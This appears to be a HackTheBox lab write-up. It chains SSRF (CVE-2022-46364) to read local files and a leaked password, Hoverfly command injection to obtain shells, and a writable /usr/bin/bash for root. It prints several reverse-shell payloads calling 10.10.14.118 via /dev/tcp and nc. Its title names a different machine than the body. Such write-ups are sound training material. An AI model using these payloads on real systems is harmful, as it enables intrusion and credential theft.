

HTB Kobold - HTB Easy Machine

Martina Giacobbe

1 DevArea - HackTheBox Medium Machine

1.1 Reconnaissance

The initial phase consisted of a network scan to enumerate exposed services and identify the attack surface. A full TCP scan revealed multiple services running on non-standard ports, indicating a heterogeneous environment composed of different technologies.

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp      4096 Sep 22  2025 pub

22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15

80/tcp    open  http     Apache httpd 2.4.58

8080/tcp  open  http     Jetty 9.4.27.v20200227

8500/tcp  open  http     Golang net/http server

8888/tcp  open  http     Golang net/http server
|_http-title: Hoverfly Dashboard
```

From this enumeration, it was immediately clear that multiple web services were exposed. In particular: - Port 80 served a standard Apache instance. - Port 8080 hosted a Java-based application running on Jetty. - Ports 8500 and 8888 exposed Golang-based services, with port 8888 serving a Hoverfly dashboard.

The presence of multiple stacks (Java + Golang) suggested the possibility of chaining vulnerabilities across services.

1.2 Initial Access - FTP Enumeration

The FTP service allowed anonymous login:

```
$ ftp devarea.htb
$ cd pub
$ get employee-service.jar
```

A Java archive (JAR) file was retrieved. Since JAR files are essentially ZIP archives containing compiled Java bytecode, further analysis required decompilation.

Using tools such as JD-GUI, the `.class` files were decompiled to reconstruct the source code. This is a common reverse engineering technique in penetration testing when dealing with Java applications.

During analysis, an endpoint `/employeeservice` was identified, exposed on port 8080.

1.3 SOAP Service Analysis

Attempting to access the endpoint directly resulted in a SOAP fault:

```
<faultstring>
No binding operation info while invoking unknown method
</faultstring>
```

This indicated that the service expected properly structured SOAP requests. SOAP (Simple Object Access Protocol) is an XML-based protocol requiring strict adherence to a predefined schema, typically described via WSDL (Web Services Description Language).

A second malformed request produced:

```
Message part ... was not recognized
```

This confirmed that a valid WSDL specification was required. The WSDL was available at:

```
http://devarea.htb:8080/employeeservice?wsdl
```

1.4 Crafting Valid SOAP Requests

Using the WSDL, a valid request was constructed:

```
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
```

```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
```

```

        <arg0>
            <confidential>true</confidential>
            <content>This is a confidential internal report.</content>
            <department>IT</department>
            <employeeName>John Doe</employeeName>
        </arg0>
    </tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>

```

The response confirmed correct interaction with the service.

This phase highlights an important concept: when dealing with SOAP services, blind fuzzing is ineffective. Instead, understanding the WSDL structure is essential to craft valid requests.

1.5 Vulnerability Identification - Apache CXF SSRF

Inspection of the JAR metadata revealed the use of:

```
/maven/org.apache.cxf/cxf-core
```

Version identified: 3.2.14.

This version is vulnerable to:

CVE-2022-46364 — Server-Side Request Forgery (SSRF)

This vulnerability arises from improper parsing of the `href` attribute in `XOP:Include` elements when MTOM is enabled. Conceptually, SSRF allows an attacker to force the server to make arbitrary requests, including access to internal resources or local files.

1.6 Exploitation - SSRF to File Disclosure

A public PoC was used:

```

$ python3 CVE-2022-46364.py \
-t http://devarea.htb:8080/employeeservice \
-s file:///etc/passwd \
-d devarea.htb

```

This allowed retrieval of local files such as `/etc/passwd`, revealing:

```
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bash
```

Further enumeration targeted system files:

```

$ python3 CVE-2022-46364.py \
-s file:///etc/systemd/system/hoverfly.service

```

Result:

```
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password 07IJ27MyyXiU
```

This demonstrates a common SSRF exploitation pattern:

1. Access local files
2. Extract credentials
3. Pivot to another service

1.7 Pivoting - Hoverfly Dashboard

Using extracted credentials, access to the Hoverfly dashboard was obtained:

```
http://devarea.htb:8888
```

Version identified: 1.3.4.

This version is vulnerable to:

CVE-2025-54123 — Command Injection

The vulnerability exists due to insufficient input sanitization in the middleware endpoint.

1.8 Exploitation - Command Injection

The following request was crafted (via Burp Suite):

```
PUT /api/v2/hoverfly/middleware HTTP/1.1
```

```
Host: devarea.htb:8888
```

```
Authorization: Bearer <JWT>
```

```
{  
  "binary": "/bin/bash",  
  "script": "bash -c 'bash -i >& /dev/tcp/10.10.14.118/4444 0>&1'"  
}
```

This resulted in a reverse shell.

This phase demonstrates a typical chain:

SSRF → Credential Extraction → Authenticated RCE

1.9 Privilege Escalation

Checking sudo privileges:

```
$ sudo -l
```

Output:

```
(root) NOPASSWD: /opt/syswatch/syswatch.sh
```

Although direct inspection was restricted, a backup archive was found:

```
/home/dev_ryan/syswatch.zip
```

After extraction, no obvious vulnerabilities were found.

1.10 System Misconfiguration Discovery

Running enumeration tools revealed:

```
$ ls -lah /usr/bin/bash
-rwxrwxrwx 1 root root 1.4M /usr/bin/bash
```

This is a critical misconfiguration: a world-writable binary.

The idea is to replace `/usr/bin/bash` with a malicious version that will be executed by a privileged script.

1.11 Exploitation Strategy

First, a backup was created:

```
dev_ryan\tmp$ cp /usr/bin/bash bash.bak
dev_ryan\$ vim exploit.sh
```

Then, a malicious replacement:

```
#!/tmp/bash.bak

rm /tmp/f;mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.118 9001 >/tmp/f
```

However, the binary was in use:

```
$ cp exploit.sh /usr/bin/bash
```

But it was not possible due to the file being used by some processes.

```
$lsof /usr/bin/bash
```

Killing these processes would terminate the current shell.

1.12 Bypassing the Constraint

A new shell was spawned using `/bin/sh` instead of `bash` using the same PUT request in Burp (as before):

```
{
  "binary": "/bin/sh",
  "script": "rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i
2>&1|nc 10.10.14.118 9003 >/tmp/g"
}
```

This allowed safe termination of existing `bash` processes and replacement of the binary.

1.13 Final Exploitation

Executing:

```
$ sudo /opt/syswatch/syswatch.sh web-status
```

triggered the malicious `bash` binary, resulting in a root shell.

1.14 Conclusion

This machine demonstrates a full attack chain involving:

- Reverse engineering of Java applications
- SOAP/WSDL interaction
- SSRF exploitation
- Credential harvesting
- Authenticated RCE
- Privilege escalation via binary hijacking

The key takeaway is the importance of chaining vulnerabilities across different services and technologies, as well as recognizing misconfigurations such as writable system binaries.